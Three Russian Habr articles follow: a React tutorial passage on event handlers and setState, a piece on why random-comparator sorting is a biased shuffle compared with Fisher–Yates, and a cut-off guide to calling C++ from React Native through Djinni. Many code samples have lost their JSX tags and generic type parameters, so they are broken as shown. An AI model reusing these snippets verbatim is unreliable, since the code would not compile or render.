→ [Часть 12: практикум, третий этап работы над TODO-приложением](https://habr.com/company/ruvds/blog/437988/)
→ [Часть 13: компоненты, основанные на классах](https://habr.com/ru/company/ruvds/blog/437990/)
→ [Часть 14: практикум по компонентам, основанным на классах, состояние компонентов](https://habr.com/ru/company/ruvds/blog/438986/)
→ [Часть 15: практикумы по работе с состоянием компонентов](https://habr.com/ru/company/ruvds/blog/438988/)
→ [Часть 16: четвёртый этап работы над TODO-приложением, обработка событий](https://habr.com/ru/company/ruvds/blog/439982/)
→ [Часть 17: пятый этап работы над TODO-приложением, модификация состояния компонентов](https://habr.com/ru/company/ruvds/blog/439984/)
→ [Часть 18: шестой этап работы над TODO-приложением](https://habr.com/ru/company/ruvds/blog/440662/)
→ [Часть 19: методы жизненного цикла компонентов](https://habr.com/ru/company/ruvds/blog/441578/)
→ [Часть 20: первое занятие по условному рендерингу](https://habr.com/ru/company/ruvds/blog/441580/)
→ [Часть 21: второе занятие и практикум по условному рендерингу](https://habr.com/ru/company/ruvds/blog/443210/)
→ [Часть 22: седьмой этап работы над TODO-приложением, загрузка данных из внешних источников](https://habr.com/ru/company/ruvds/blog/443212/)
→ [Часть 23: первое занятие по работе с формами](https://habr.com/ru/company/ruvds/blog/443214/)
→ [Часть 24: второе занятие по работе с формами](https://habr.com/ru/company/ruvds/blog/444356/)
→ [Часть 25: практикум по работе с формами](https://habr.com/ru/company/ruvds/blog/446208/)
→ [Часть 26: архитектура приложений, паттерн Container/Component](https://habr.com/ru/company/ruvds/blog/446206/)
→ [Часть 27: курсовой проект](https://habr.com/ru/company/ruvds/blog/447136/)
Занятие 31. Практикум. TODO-приложение. Этап №5
-----------------------------------------------
→ [Оригинал](https://scrimba.com/p/p7P5Hd/c9yP6uM)
### ▍Задание
Запуская наше Todo-приложение, вы могли заметить, что в консоль выводится уведомление, которое указывает на то, что мы, настроив свойство `checked` элемента в компоненте `TodoItem`, не предусмотрели механизм для взаимодействия с этим элементом в виде обработчика события `onChange`. При работе с интерфейсом приложения это выражается в том, что флажки, выводимые на странице, нельзя устанавливать и снимать.
Здесь вам предлагается оснастить элемент типа `checkbox` компонента `TodoItem` обработчиком события `onChange`, который, на данном этапе работы, достаточно представить в виде функции, которая что-то выводит в консоль.
### ▍Решение
Вот как сейчас выглядит код компонента `TodoItem`, который хранится в файле `TodoItem.js`:
```
import React from "react"
function TodoItem(props) {
return (
{props.item.text}
)
}
export default TodoItem
```
Вот что выводится в консоль при запуске приложения.
*Уведомление в консоли*
При этом флажки на наши воздействия не реагируют.
Для того чтобы избавиться от этого уведомления и подготовить проект к дальнейшей работе, достаточно назначить обработчик события `onChange` элементу `checkbox`. Вот как это выглядит в коде:
```
import React from "react"
function TodoItem(props) {
return (
console.log("Changed!")}
/>
{props.item.text}
)
}
export default TodoItem
```
Здесь мы, в качестве обработчика, используем простую функцию, которая выводит в консоль слово `Checked!`. При этом щелчки по флажкам не приводят к изменению их состояния, но уведомление из консоли, как можно видеть на следующем рисунке, исчезает.
*Флажки всё ещё не работают, но уведомление из консоли исчезло*
Это небольшое изменение, внесённое в приложение, позволит нам, после того, как мы разберёмся с изменением состояния компонентов, сделать так, чтобы флажки работали правильно.
Занятие 32. Изменение состояния компонентов
-------------------------------------------
→ [Оригинал](https://scrimba.com/p/p7P5Hd/cLKWEcZ)
Начнём работу со стандартного приложения, создаваемого с помощью `create-react-app`, в файле `App.js` которого содержится такой код:
```
import React from "react"
class App extends React.Component {
constructor() {
super()
this.state = {
count: 0
}
}
render() {
return (
{this.state.count}
==================
Change!
)
}
}
export default App
```
В файле стилей `index.css`, который подключён в файле `index.js`, содержится следующее описание стилей:
```
div {
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
}
h1 {
font-size: 3em;
}
button {
border: 1px solid lightgray;
background-color: transparent;
padding: 10px;
border-radius: 4px;
}
button:hover {
cursor: pointer;
}
button:focus {
outline:0;
}
```
На данном этапе работы приложение выглядит так, как показано на следующем рисунке.
*Страница приложения в браузере*
Сегодня мы будем говорить о том, как менять состояние компонентов. Если у компонента есть состояние, это позволяет, инициализировав его, хранить в нём какие-то данные. Но если бы состояние нельзя было бы изменять, то от его наличия у компонента не было бы особенной пользы, хранение в нём данных не особенно сильно отличалось бы от, например, жёсткого задания их в коде компонента.
Поговорим о приложении, на примере которого мы будем рассматривать работу с состоянием компонента. Компонент `App`, код которого представлен выше, представляет собой компонент, основанный на классе. Это вполне очевидно, так как нам нужно, чтобы у этого компонента было бы состояние. В коде компонента мы используем конструктор.
В нём мы, как всегда, вызываем метод `super()` и инициализируем состояние, записывая в него свойство `count` и присваивая ему начальное значение `0`. В методе `render()` мы выводим заголовок первого уровня, представляющий значение свойства `count` из состояния компонента, а также кнопку со словом `Change!`. Всё это отформатировано с помощью стилей.
Если, на данном этапе работы над приложением, открыть его в браузере и щёлкнуть по кнопке, то ничего, естественно, не произойдёт. Нам же нужно чтобы щелчок по кнопке менял бы состояние компонента, воздействуя на его свойство `count`. При этом мы уже изучили методику обработки событий в React, и наша задача сводится к тому, чтобы создать механизм, который, реагируя на щелчок по кнопке, меняет свойство состояния `count`.
Приступим к решению нашей задачи, оснастив кнопку обработчиком события `onClick`, который, для начала, будет просто выводить что-нибудь в консоль.
Для этого мы добавим в класс компонента новый метод. Назвать его можно как угодно, но подобные методы принято называть так, чтобы их имена указывали бы на обрабатываемые ими события. В результате мы, так как мы собираемся с его помощью обрабатывать событие `click`, назовём его `handleClick()`. Вот как теперь будет выглядеть код компонента `App`.
```
import React from "react"
class App extends React.Component {
constructor() {
super()
this.state = {
count: 0
}
}
handleClick() {
console.log("I'm working!")
}
render() {
return (
{this.state.count}
==================
Change!
)
}
}
export default App
```
Обратите внимание на то, что обращаясь к этому методу из `render()`, мы используем конструкцию вида `this.handleClick`.
Теперь, если щёлкнуть по кнопке, в консоль попадёт соответствующее сообщение.
*Щелчок по кнопке вызывает метод класса*
Сейчас давайте сделаем так, чтобы щелчок по кнопке увеличивал бы число, выводимое над ней, то есть, модифицировал бы состояние компонента. Может быть, попробовать поменять состояние компонента напрямую, в методе `handleClick()`? Скажем, что если переписать этот метод так:
```
handleClick() {
this.state.count++
}
```
Нужно сразу сказать, что так с состоянием компонентов в React не работают. Попытка выполнения подобного кода вызовет ошибку.
Состояние компонента можно сравнить с одеждой, которую носит человек. Если он хочет переодеться, то он не перешивает и не перекрашивает одежду, не снимая с себя, а снимает её и надевает что-то другое. Собственно говоря, именно так работают и с состоянием компонентов.
Возможно, вы помните о том, что мы говорили о специальном методе, используемом для модификации состояния, доступном в компонентах, основанных на классах благодаря тому, что они расширяют класс `React.Component`. Это — метод `setState()`. Его используют в тех случаях, когда нужно изменить состояние компонента. Этим методом можно пользоваться по-разному.
Вспомним о том, что состояние представляет собой объект. Попробуем передать методу `setState()` объект, который заменит состояние. Перепишем метод `handleClick()` так:
```
handleClick() {
this.setState({ count: 1 })
}
```
Попытка воспользоваться таким методом вызовет такую ошибку: `TypeError: Cannot read property 'setState' of undefined`. На самом деле, то о чём мы сейчас говорим, вызывает множество споров в среде React-разработчиков, и сейчас я собираюсь показать вам очень простой способ решения этой проблемы, который, на первый взгляд, может показаться необычным.
Речь идёт о том, что каждый раз, создавая метод класса (`handleClick()` в нашем случае), в котором планируется использовать метод `setState()`, этот метод нужно связать с `this`. Делается это в конструкторе. Код компонента после этой модификации будет выглядеть так:
```
import React from "react"
class App extends React.Component {
constructor() {
super()
this.state = {
count: 0
}
this.handleClick = this.handleClick.bind(this)
}
handleClick() {
this.setState({ count: 1 })
}
render() {
return (
{this.state.count}
==================
Change!
)
}
}
export default App
```
Теперь после нажатия на кнопку `Change!` над ней появится число 1, сообщений об ошибках выводиться не будет.
*Нажатие на кнопку модифицирует состояние*
Правда, кнопка у нас получилась «одноразовой». После первого щелчка по ней `0` меняется на `1`, а если щёлкнуть по ней ещё раз — ничего уже не произойдёт. В общем-то, это и неудивительно. Код, вызываемый при щелчке по кнопке, делает своё дело, каждый раз меняя состояние на новое, правда, после первого же щелчка по кнопке новое состояние, в котором в свойстве `count` хранится число `1`, не будет отличаться от старого. Для того чтобы решить эту проблему, рассмотрим ещё один способ работы с методом `setState()`.
Если нас не интересует то, каким было предыдущее состояние компонента, то этому методу можно просто передать объект, который заменит состояние. Но часто бывает так, что новое состояние компонента зависит от старого. В нашем случае это означает, что мы, опираясь на значение свойства `count`, которое хранится в предыдущей версии состояния, хотим прибавить к этому значению `1`. В случаях, когда для изменения состояния нужно быть в курсе того, что в нём хранилось ранее, методу `setState()` можно передать функцию, которая, в качестве параметра, получает предыдущую версию состояния. Назвать этот параметр можно как угодно, в нашем случае это будет `prevState`. Заготовка этой функции будет выглядеть так:
```
handleClick() {
this.setState(prevState => {
})
}
```
Можно подумать, что в подобной функции достаточно просто обратиться к состоянию с помощью конструкции вида `this.state`, но такой подход нас не устроит. Поэтому важно, чтобы эта функция принимала бы предыдущую версию состояния компонента.
Функция должна возвращать новую версию состояния. Вот как будет выглядеть метод `handleClick()`, решающий эту задачу:
```
handleClick() {
this.setState(prevState => {
return {
count: prevState.count + 1
}
})
}
```
Обратите внимание на то, что для получения нового значения свойства `count` мы используем конструкцию `count: prevState.count + 1`. Можно подумать, что тут подойдёт и конструкция вида `count: prevState.count++`, но оператор `++` приводит к модификации переменной, к которой он применяется, это будет означать попытку модификации предыдущей версии состояния, поэтому им мы здесь не пользуемся.
Полный код файла компонента на данном этапе работы будет выглядеть так:
```
import React from "react"
class App extends React.Component {
constructor() {
super()
this.state = {
count: 0
}
this.handleClick = this.handleClick.bind(this)
}
handleClick() {
this.setState(prevState => {
return {
count: prevState.count + 1
}
})
}
render() {
return (
{this.state.count}
==================
Change!
)
}
}
export default App
```
Теперь каждый щелчок по кнопке увеличивает значение счётчика.
*Каждый щелчок по кнопке увеличивает значение счётчика*
То, с чем мы только что разобрались, открывает для нас огромные возможности в сфере разработки React-приложений.
Ранее мы говорили о том, что родительский компонент может, через механизм свойств, передавать свойства из собственного состояния дочерним компонентам. Если React обнаружит изменение состояния родительского компонента, он выполнит повторный рендеринг дочернего компонента, которому передаётся это состояние. Выглядит это как вызов метода `render()`. В результате дочерний компонент будет отражать новые данные, хранящиеся в состоянии родительского компонента.
Итоги
-----
Сегодня вы подготовили Todo-приложение к дальнейшей работе над ним, а также ознакомились с механизмами, используемыми в React для изменения состояния компонента. В следующий раз вам будет предложено расширить возможности учебного приложения с использованием того, что вы узнали сегодня.
**Уважаемые читатели!** Как вы относитесь к тому, что состояние компонентов в React нельзя менять напрямую, без использования специальных механизмов?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/439984/ | null | ru | null |
# Пятничный JS: случайное перемешивание
> Экзамен в школе прапорщиков.
>
> — Вот смотрите. Это большой палец, это — указательный, это — средний, это — безымянный, это — мизинец. Мешаем, мешаем, мешаем (двигает пальцами)… Теперь где какой?
>
>
Всем привет. С ортодоксальной точки зрения сегодня не настоящая пятница — просто день, когда завтра выходной. Поэтому статья в моей традиционной рубрике тоже будет не совсем настоящая, у неё пониженный градус безумия и повышенная полезность. Однако довольно предисловий, перейдём к сути.
Перед моими студентами регулярно встаёт задача случайного перемешивания массива. За её решением они, как правило, лезут в гугл. И гугл им подсказывает следующее:
```
var shuffledArr = arr.sort(function(){
return Math.random() - 0.5;
});
```
Здесь и далее будем называть этот метод **случайной сортировкой**. Сегодня я решил написать о том, какие преимущества и недостатки есть у такого подхода.
### Как это вообще работает?
Метод sort у джаваскриптовых массивов в качестве аргумента принимает функцию-компаратор. Эта функция должна принимать два элемента массива и возвращать число. Если число положительное, алгоритм сортировки считает, что первый элемент больше; если отрицательное — значит, первый элемент меньше; если же компаратор возвращает нуль, то в рамках данной сортировки элементы как бы равны. Если под видом компаратора передать функцию, которая будет возвращать положительное или отрицательное число случайным образом, то массив окажется отсортирован в «случайном» порядке.
### Преимущества
Такое перемешивание очень быстро пишется. Я честно пытался придумать какое-нибудь ещё преимущество, но мне не удалось.
### Недостатки
Этот параграф будет несколько длиннее, потому я разобью его на подпараграфы.
#### Несоответствие спецификации
[Спецификация EcmaScript](https://www.ecma-international.org/ecma-262/6.0/#sec-array.prototype.sort) (я намеренно не называю версию, поскольку во всех версиях этот пункт остаётся примерно одинаковым) заявляет нам следующее:
> If comparefn is not undefined and is not a consistent comparison function for the elements of this array (see below), the sort order is implementation-defined.
В переводе с технического английского на русский разговорный это означает, что если компаратор не отвечает некоторым очевидным требованиям (ниже в спецификации разъясняется, что, в частности, он должен для одних и тех же аргументов всегда возвращать одно и то же значение), то порядок сортировки зависит от реализации конкретного джаваскриптового движка. То есть, фактически, не определён. Разработчик браузера имеет, например, полное право сделать так, что при обнаружении того, что компаратор «ненастоящий», возвращается исходный массив без каких-либо перестановок. И это будет полностью соответствовать спецификации. То, что во всех существующих браузерах приведённый метод даёт нечто похожее на случайное перемешивание — не более чем счастливое совпадение.
#### Временна́я сложность
Корректный алгоритм перемешивания (см. ниже) имеет временную сложность O(n). Попросту говоря, это означает примерно следующее: если длина массива увеличится в 10 раз, то продолжительность его перемешивания также увеличится в 10 раз.
Самые быстрые алгоритмы сортировки имеют временную сложность O(n\*log(n)). Это означает, что при увеличении длины массива в 10 раз продолжительность его перемешивания увеличится более чем в 10 раз.
В сумме эти два факта значат вот что: для достаточно большого массива перемешивание случайной сортировкой будет работать медленнее, чем «правильное» перемешивание (даже если для маленьких массивов это было не так). И чем больше массив, тем больше разница во времени выполнения.
Почему я сделал оговорку в скобках? Потому что Array#sort выполняется нативным кодом, и за счёт этого на небольших массивах потенциально может оказаться быстрее. У него может оказаться меньше константный множитель, сказал бы человек, знакомый с О-нотацией.
#### Ненастоящая случайность
Те, кто хотя бы поверхностно знаком с теорией вероятностей, знают, что случайность случайности рознь. Монетка может выпасть орлом или решкой, кубик может выпасть шестёркой или не шестёркой. И там, и там имеют место случайные события, однако в первом случае события равновероятны, а во втором нет.
Перемешивание массива называется истинно случайным, если все возможные перестановки его элементов имеют одинаковую вероятность. Именно этим свойством случайная сортировка не обладает, и я покажу это на практике.
Я набросал следующую [страничку](http://siri0n.github.io/attic/shuffle-comparison/index.html). На ней находятся две диаграммы, одна соответствует случайному перемешиванию, вторая — случайной сортировке. Впрочем, вы сейчас видите не диаграммы, а квадратики, разбитые на клеточки различных оттенков серого. Чтобы они стали диаграммами, нужна легенда — объяснение, что эти клеточки и их цвета означают. Всё очень просто. Мы несколько раз (в данном случае несколько = 10000) берём массив чисел от 0 до n (в данном случае n = 32) и случайно перемешиваем тем или иным алгоритмом. Затем мы вычисляем частоты, с которыми то или иное число оказывается на том или ином месте. Соответственно, цвет клетки в строке номер i и столбце номер j показывает, насколько часто число i оказывается на месте j. Чёрный цвет означает, что оно там не оказывается никогда, белый — что оно там оказывается вдвое или более чаще, чем положено. Если число попадает на указанное место с теоретически предсказанной частотой 1/n, клетка будет иметь цвет hsl(0, 0%, 50%) — оттенок серого, расположенный в точности посередине между чёрным и белым.
Если вы используете свежую версию браузера Chrome, вы видите, что в квадрате справа много белых или почти белых клеток, расположенных по определённой закономерности. Это означает, что при случайной сортировке определённые элементы имеют тенденцию оказываться в определённых местах. Плохо ли это? Зависит от того, для чего вы используете перемешивание. Если для каких-то косметических эффектов, то, возможно, ничего страшного. Если вам важно, чтобы пользователь не мог предсказать, какой элемент окажется на каком месте, или если закономерности в перемешивании каким-то образом заметны визуально — то плохо. И упаси вас Гермес использовать такое перемешивание для чего-то, связанного с криптографией.
Что удивительно, если вы используете Firefox, то для вас оба квадрата примерно одинаково серые. Это происходит оттого, что в разных браузерах используются различные алгоритмы сортировки (если интересно, вот [моя статья](https://habr.com/post/303748/) на эту тему). В таком случае, если хотите удивиться ещё раз, допишите в адресной строке ?size=8 (вот [готовая ссылка](http://siri0n.github.io/attic/shuffle-comparison/index.html?size=8) для ленивых). Firefox по-разному сортирует большие и маленькие массивы, сюрприз!
Upd: товарищ [mk2](https://habr.com/ru/users/mk2/) [заметил](https://habr.com/post/358094/#comment_11337168), что равномерно-серым квадрат в Firefox будет только при размере, равном степени двойки. Нужно больше таких внимательных товарищей, товарищи!
Upd2: товарищи [Stalker\_RED](https://habr.com/ru/users/stalker_red/) и [yaZva](https://habr.com/ru/users/yazva/) не поленились (в отличие от меня) [сделать](https://habr.com/post/358094/#comment_11337590) [скрины](https://habr.com/post/358094/#comment_11337510) в различных браузерах.
Напоследок добавлю, что вот эти мои диаграммы с пятьюдесятью оттенками серого — не критерий, а признак. Из того, что квадрат получился не серый, следует, что сортировка не равномерна, однако неверно обратное. Контрпример — циклический сдвиг на случайную величину. Частоты попадания элементов на места будут совершенно одинаковы, однако ни о какой истинной случайности перемешивания, разумеется, не может быть и речи.
Upd3: в [этой ветке](https://habr.com/post/358094/#comment_11338038) обсуждается, почему случайная сортировка не даёт равномерную случайность в Firefox (причём даже в том случае, если по диаграмме кажется, что даёт).
### Как правильно?
Истинные джедаи используют одну из вариаций [алгоритма Фишера-Йетса](https://ru.wikipedia.org/wiki/%D0%A2%D0%B0%D1%81%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%A4%D0%B8%D1%88%D0%B5%D1%80%D0%B0_%E2%80%94_%D0%99%D0%B5%D1%82%D1%81%D0%B0). Для своей демки я реализовал его так:
```
function shuffle(arr){
var j, temp;
for(var i = arr.length - 1; i > 0; i--){
j = Math.floor(Math.random()*(i + 1));
temp = arr[j];
arr[j] = arr[i];
arr[i] = temp;
}
return arr;
}
```
Суть алгоритма, если перевести с JS на русский, следующая: берём последний элемент и меняем его местами со случайно выбранным элементом не правее его (в том числе, возможно, и с ним самим). Затем повторяем ту же операцию для предпоследнего элемента, потом для предпредпоследнего и так далее. Вуаля! (этим словом с JS на русский переводится «return arr;»).
### Настало время безумия
Кто-то из читателей ждал этого целую статью, остальные, в принципе, могут этот параграф не дочитывать. Я задался вопросом: можно ли написать такую функцию compare, что arr.sort(compare) даст истинно случайную перестановку? Ответ: можно, но с определёнными оговорками. Первая — функцию надо перед каждой сортировкой создавать заново. Вторая — в массиве не должно быть одинаковых элементов. Итак, узрите:
```
//вспомогательная функция
function putToCache(elem, cache){
if(cache.indexOf(elem) != -1){
return;
}
var i = Math.floor(Math.random()*(cache.length + 1));
cache.splice(i, 0, elem);
}
//функция, возвращающая свеженький, девственный компаратор
function madness(){
var cache = [];
return function(a, b){
putToCache(a, cache);
putToCache(b, cache);
return cache.indexOf(b) - cache.indexOf(a);
}
}
//собственно функция перемешивания
function shuffle(arr){
var compare = madness();
return arr.sort(compare);
}
```
Это работает следующим образом: при создании компаратор через замыкание получает доступ к массиву cache. Каждый раз, когда ему передаются аргументы, он кладёт их в cache на случайные места (если их там ещё нет), а затем считает, что тот элемент, который в cache стоит правее, будет больше. То есть по сути в массиве cache постепенно строится тот случайный порядок, в котором элементы *должны* стоять, а метод sort постепенно приводит исходный массив в соответствии с этим порядком. Если же в нём окажутся равные элементы (равные с точки зрения оператора ===, если мы сортируем объекты — то всё хорошо, даже если у них одинаковое содержание. {a: 1} !== {a: 1}), они, к сожалению, будут идти подряд.
На этом всё. Спасибо за чтение, надеюсь, вам было познавательно, и особенно надеюсь, что я убедил вас не использовать случайную сортировку почти никогда. Приятного грядущего вечера. | https://habr.com/ru/post/358094/ | null | ru | null |
# Интеграция React Native и C++ для iOS и Android
Недавно мне предложили поработать над одним интересным проектом. Требовалось разработать мобильное приложение для американского стартапа на платформах iOS и Android с помощью React Native. Ключевой технической особенностью и фактором, который однозначно решил мое участие в проекте, стала задача интегрировать библиотеку, написанную на языке С++. Для меня это могло быть новым опытом и новым профессиональным испытанием.
#### Почему было необходимо интегрировать С++ библиотеку
Данное приложение было необходимо для двухфакторной аутентификации с помощью протоколов FIDO UAF и U2F, использующих биометрические данные, таких как Face ID и Touch ID, и аналогичных технологий для Android платформы. Клиент для аутентификации был уже готов. Это была библиотека, написанная на С++ и применяемая некоторыми другими клиентами помимо мобильного приложения. Так что от меня требовалось встроить ее аналогичным образом в мобильное приложение на React Native.
#### Как я это делал
[Существует подход](https://facebook.github.io/react-native/docs/native-modules-ios) для интеграции С++ в React Native приложение от Facebook. Однако проблема в том, что он работает только для платформы iOS, и не понятно, что делать с Android в данном случае. Мне же хотелось решить проблему сразу для двух платформ.
[Форк инструмента Djinni от Dropbox](https://github.com/sulewicz/Djinni-react-native), который позволяет генерировать кросс-платформенные объявления типов. По сути он является простым мобильным приложением на React Native с настроенной связью с Djinni. Именно его я взял за основу.
Для удобства код приложения разбит на два git-репозитория. [В первом](https://github.com/andreysaleba/react-native-cpp) хранится исходный код React Native приложения, а [во втором](https://github.com/andreysaleba/react-native-cpp-support) – Djinni и необходимые зависимости.
#### Дальнейшие шаги
Сначала необходимо объявить интерфейс взаимодействия С++ и React Native кода. В Djinni это делается с помощью .idl файлов. Откроем файл *react-native-cpp-support/idl/main.Djinni* в проекте и ознакомимся с его структурой.
В проекте для нашего удобства уже объявлены некоторые типы данных JavaScript и биндинги для них. Таким образом, мы можем работать с типами String, Array, Map, Promise и другими без какого-либо дополнительного их описания.
В примере этот файл выглядит так:
```
DemoModule = interface +r {
const EVENT_NAME: string = "DEMO_MODULE_EVENT";
const STRING_CONSTANT: string = "STRING";
const INT_CONSTANT: i32 = 13;
const DOUBLE_CONSTANT: f64 = 13.123;
const BOOL_CONSTANT: bool = false;
testPromise(promise: JavascriptPromise);
testCallback(callback: JavascriptCallback);
testMap(map: JavascriptMap, promise: JavascriptPromise);
testArray(array: JavascriptArray, callback: JavascriptCallback);
testBool(value: bool, promise: JavascriptPromise);
testPrimitives(i: i32, d: f64, callback: JavascriptCallback);
testString(value: string, promise: JavascriptPromise);
testEventWithArray(value: JavascriptArray);
testEventWithMap(value: JavascriptMap);
}
```
После внесения изменений в файл интерфейсов необходимо перегенерировать Java/Objective-C/C++ интерфейсы. Это легко сделать запустив скрипт *generate\_wrappers.sh* из папки *react-native-cpp-support/idl/*. Этот скрипт соберет все объявления из нашего idl файла и создаст соответствующие интерфейсы для них, это очень удобно.
В примере есть два интересующих нас С++ файла. Первый содержит описание, а второй реализацию простых С++ методов:
*react-native-cpp/cpp/DemoModuleImpl.hpp
react-native-cpp/cpp/DemoModuleImpl.cpp*
Рассмотрим код одного из методов в качестве примера:
```
void DemoModuleImpl::testString(const std::string &value, const std::shared_ptr<::JavascriptPromise> &promise) {
promise->resolveObject(JavascriptObject::fromString("Success!"));
}
```
Обратите внимание, что результат возвращается не с помощью *keyword return*, а с помощью объекта *JavaScriptPromise*, переданного последним параметром, как и описано в *idl* файле.
Теперь стало понятно, как описывать необходимый код в С++. Но как взаимодействовать с этим в React Native приложении? Чтобы понять, достаточно открыть файл из папки *react-native-cpp/index.js*, где вызываются все описанные в примере функции.
Функция из нашего примера вызывается в JavaScript следующим образом:
```
import { NativeAppEventEmitter, NativeModules... } from 'react-native';
const DemoModule = NativeModules.DemoModule;
....
async promiseTest() {
this.appendLine("testPromise: " + await DemoModule.testPromise());
this.appendLine("testMap: " + JSON.stringify(await DemoModule.testMap({a: DemoModule.INT_CONSTANT, b: 2})));
this.appendLine("testBool: " + await DemoModule.testBool(DemoModule.BOOL_CONSTANT));
// our sample function
this.appendLine("testString: " + await DemoModule.testString(DemoModule.STRING_CONSTANT));
}
```
Теперь понятно, как работают тестовые функции на стороне С++ и JavaScript. Аналогичным образом можно добавить и код любых других функций. Дальше я рассмотрю, как работают Android и iOS проекты вместе с С++.
#### React Native и С++ для Android
Для взаимодействия Android и С++ необходимо установить NDK. Подробная инструкция, как это сделать, есть по ссылке *[developer.android.com/ndk/guides](https://developer.android.com/ndk/guides/)*
Затем внутри файла *react-native-cpp/android/app/build.gradle* необходимо добавить следующие настройки:
```
android {
...
defaultConfig {
...
ndk {
abiFilters "armeabi-v7a", "x86"
}
externalNativeBuild {
cmake {
cppFlags "-std=c++14 -frtti -fexceptions"
arguments "-DANDROID_TOOLCHAIN=clang", "-DANDROID_STL=c++_static"
}
}
}
externalNativeBuild {
cmake {
path "CMakeLists.txt"
}
}
sourceSets {
main {
java.srcDirs 'src/main/java', '../../../react-native-cpp-support/support-lib/java'
}
}
splits {
abi {
reset()
enable enableSeparateBuildPerCPUArchitecture
universalApk false // If true, also generate a universal APK
include "armeabi-v7a", "x86"
}
}
...
}
```
Только что мы сконфигурировали gradle для сборки приложения для используемых архитектур и добавили необходимые build флаги для cmake, указали файл *CMAkeLists*, который опишем в дальнейшем, а также добавили java-классы из Djinni, которые будем использовать.
Следующий шаг настройки Android-проекта – описание файла *CMakeLists.txt*. В готовом виде его можно посмотреть по пути *react-native-cpp/android/app/CMakeLists.txt*.
```
cmake_minimum_required(VERSION 3.4.1)
set( PROJECT_ROOT "${CMAKE_SOURCE_DIR}/../.." )
set( SUPPORT_LIB_ROOT "${PROJECT_ROOT}/../react-native-cpp-support/support-lib" )
file( GLOB JNI_CODE "src/main/cpp/*.cpp" "src/main/cpp/gen/*.cpp" )
file( GLOB PROJECT_CODE "${PROJECT_ROOT}/cpp/*.cpp" "${PROJECT_ROOT}/cpp/gen/*.cpp" )
file( GLOB PROJECT_HEADERS "${PROJECT_ROOT}/cpp/*.hpp" "${PROJECT_ROOT}/cpp/gen/*.hpp" )
file( GLOB DJINNI_CODE "${SUPPORT_LIB_ROOT}/cpp/*.cpp" "${SUPPORT_LIB_ROOT}/jni/*.cpp" )
file( GLOB DJINNI_HEADERS "${SUPPORT_LIB_ROOT}/cpp/*.hpp" "${SUPPORT_LIB_ROOT}/jni/*.hpp" )
include_directories(
"${SUPPORT_LIB_ROOT}/cpp"
"${SUPPORT_LIB_ROOT}/jni"
"${PROJECT_ROOT}/cpp"
"${PROJECT_ROOT}/cpp/gen"
)
add_library( # Sets the name of the library.
native-lib
# Sets the library as a shared library.
SHARED
${JNI_CODE}
${DJINNI_CODE}
${DJINNI_HEADERS}
${PROJECT_CODE}
${PROJECT_HEADERS} )
```
Здесь мы указали относительные пути до support library, добавили директории с необходимым кодом С++ и JNI.
Еще одним важным шагом является добавление *DjinniModulesPackage* в наш проект. Для этого в файле *react-native-cpp/android/app/src/main/java/com/rncpp/jni/DjinniModulesPackage.java* укажем:
```
...
import com.rncpp.jni.DjinniModulesPackage;
...
public class MainApplication extends Application implements ReactApplication {
...
@Override
protected List getPackages() {
return Arrays.asList(
new MainReactPackage(),
new DjinniModulesPackage()
);
}
...
}
```
Последней важной деталью является описание класса *DjinniModulesPackage*, который мы только что использовали в главном классе нашего приложения. Он находится по *пути react-native-cpp/android/app/src/main/java/com/rncpp/jni/DjinniModulesPackage.java* и содержит следующий код:
```
package com.rncpp.jni;
import com.facebook.react.ReactPackage;
import com.facebook.react.bridge.NativeModule;
import com.facebook.react.bridge.ReactApplicationContext;
import com.facebook.react.uimanager.ViewManager;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
public class DjinniModulesPackage implements ReactPackage {
static {
System.loadLibrary("native-lib");
}
@Override
public List createViewManagers(ReactApplicationContext reactContext) { return Collections.emptyList(); }
@Override
public List createNativeModules(ReactApplicationContext reactContext) {
List modules = new ArrayList<>();
modules.add(new DemoModule(reactContext));
return modules;
}
}
```
Наибольший интерес в вышеописанном классе представляет собой строка *System.loadLibrary(«native-lib»);*, благодаря которой мы загружаем в Android-приложение библиотеку с нашим нативным кодом и кодом Djinni.
Для понимания, как это работает, советую ознакомиться с jni-кодом из [папки](https://github.com/andreysaleba/react-native-cpp/blob/master/android/app/src/main/java/com/rncpp/jni/DemoModule.java), который представляет собой jni-обертку для работы с функционалом нашего модуля, а его интерфейс описан в idl-файле.
В результате, если настроена среда разработки Android и React Native, можно собрать и запустить React Native проект на Android. Для этого выполним две команды в терминале:
*npm install
npm run android*
Ура! Наш проект работает!
И мы видим следующую картинку на экране Android-эмулятора (кликабельна):
[](https://habrastorage.org/webt/d2/_b/ku/d2_bkuu0d7wftpkmekwbpgxyod8.png)
Теперь рассмотрим, как работают iOS и React Native с С++.
#### React Native и С++ для iOS
Откроем react-native-cpp проект в XCode.
Сначала добавим ссылки на используемый в проекте Objective-C и С++ код из support library. Для этого перенесем содержимое папок *react-native-cpp-support/support-lib/objc/* и *react-native-cpp-support/support-lib/cpp/* в XCode проект. В результате в дереве структуры проекта будут отображены папки с кодом support library (картинки кликабельны):
[](https://habrastorage.org/webt/wc/yv/lw/wcyvlw_dev544my3-t0jebtkxkg.png)
[](https://habrastorage.org/webt/ym/da/_l/ymda_l6b2aypzuh6diwqgzkk624.png)
Таким образом, мы добавили описания JavaScript типов из support library в проект.
Следующий шаг – добавление сгенерированных objective-c оберток для нашего тестового С++ модуля. Нам потребуется перенести в проект код из папки *react-native-cpp/ios/rncpp/Generated/*.
Осталось добавить С++ код нашего модуля, для чего перенесем в проект код из папок *react-native-cpp/cpp/* и *react-native-cpp/cpp/gen/*.
В итоге дерево структуры проекта будет выглядеть следующим образом (картинка кликабельна):
[](https://habrastorage.org/webt/d9/ki/3i/d9ki3i1ni92_hjp2ez4bytyv5eq.png)
Нужно убедиться, что добавленные файлы появились в списке Compile Sources внутри табы Build Phases.
[](https://habrastorage.org/webt/29/hy/db/29hydbdi23jo_zntc8coqjpx5n0.png)
(картинка кликабельна)
Последний шаг – изменить код файла AppDelegate.m, чтобы запустить инициализацию модуля Djinni при запуске приложения. А для этого потребуется изменить следующие строки кода:
```
...
#import "RCDjinniModulesInitializer.h"
...
@implementation AppDelegate
- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions
{
...
id moduleInitialiser = [[RCDjinniModulesInitializer alloc] initWithURL:jsCodeLocation];
RCTBridge \*bridge = [[RCTBridge alloc] initWithDelegate:moduleInitialiser launchOptions:nil];
RCTRootView \*rootView = [[RCTRootView alloc] initWithBridge:bridge
